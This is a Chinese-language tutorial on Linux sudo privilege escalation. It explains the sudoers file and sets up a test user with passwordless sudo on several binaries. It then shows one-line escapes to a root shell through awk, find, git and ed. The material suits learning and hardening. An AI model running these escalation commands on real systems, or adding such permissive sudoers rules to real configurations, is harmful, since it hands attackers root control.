1. 程式人生 > 其它 >sudo提權

sudo提權

關於sudo

sudo是linux系統管理指令,是允許系統管理員讓普通使用者執行一些或者全部的root命令的一個工具,如halt,reboot,su等等。換句話說通過此命令可以讓非root的使用者執行只有root才有許可權執行的命令。

是不是每一個新建立的使用者都可以使用sudo提升命令的許可權呢?如果不是那麼哪些使用者可以使用此命令呢?要想使一個使用者具有使用sudo的能力,需要讓root使用者將其名字、可以執行的特定命令、按照哪種使用者或使用者組的身份執行等資訊註冊到/etc/sudoers檔案中,即完成對該使用者的授權(此時該使用者稱為“sudoer”)才可以。

當一般使用者執行特殊許可權時,在命令前加上 sudo,此時系統會讓你輸入密碼以確認終端機前操作的是你本人,確認後系統會將該命令的程序以超級使用者的許可權執行。

在一定的時間段內,再次執行sudo的命令時不再詢問密碼,超出此時間段(一般為5分鐘)後需要再次輸入密碼。

在Linux/Unix中,/etc/sudoers檔案是sudo許可權的配置檔案,其中儲存了一些使用者或組可以以root許可權使用的命令。如下圖

Sudoer檔案語法

vim /etc/sudoers

1.給使用者賦予全部root許可權

​ 找到root許可權root ALL=(ALL:ALL) ALL,在下一行輸入" test ALL(ALL:ALL) ALL ",儲存後退出,這樣即表示使用者test可以使用sudo呼叫root許可權執行命令。即此時test使用者相當於root了

2.給予使用者部分許可權

hacker使用者就能使用awk命令了

3.檢視使用者能以root許可權執行的命令

sudo -l

sudo 提權命令

可以利用sudo提權的命令如下

wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp、ed、screen

  1. 新增部分命令用於測試sudo提權

vim /etc/sudoers

hacker  ALL=(root) NOPASSWD: /usr/bin/awk
hacker  ALL=(root) NOPASSWD: /usr/bin/vim
hacker  ALL=(root) NOPASSWD: /usr/bin/man
hacker  ALL=(root) NOPASSWD: /usr/bin/apache2
hacker  ALL=(root) NOPASSWD: /usr/bin/less
hacker  ALL=(root) NOPASSWD: /bin/more
hacker  ALL=(root) NOPASSWD: /usr/bin/find
hacker  ALL=(root) NOPASSWD: /usr/bin/zip
hacker  ALL=(root) NOPASSWD: /usr/bin/git

假設獲取了一個普通使用者hacker的許可權,接著利用sudo進行提權

awk

  1. 檢視sudo -l

顯示了允許當前使用者使用的命令,如下發現了可以以root許可權執行awk命令並且不需要密碼

  1. 許可權提升

執行下面程式碼直接切換到root使用者了,無需密碼

sudo awk 'BEGIN{system("/bin/bash")}'

find

find 命令用來在指定目錄下查詢檔案,這裡使用“exec”來執行/bin/bash,以訪問root shell

sudo find /home -exec /bin/bash \;
這裡 查詢的東西一定是存在的 不然會報錯

git

輸入

sudo git help add

回車如下輸入 !/bin/bash

獲得許可權

ed 功能和vim類似

sudo ed
!/bin/sh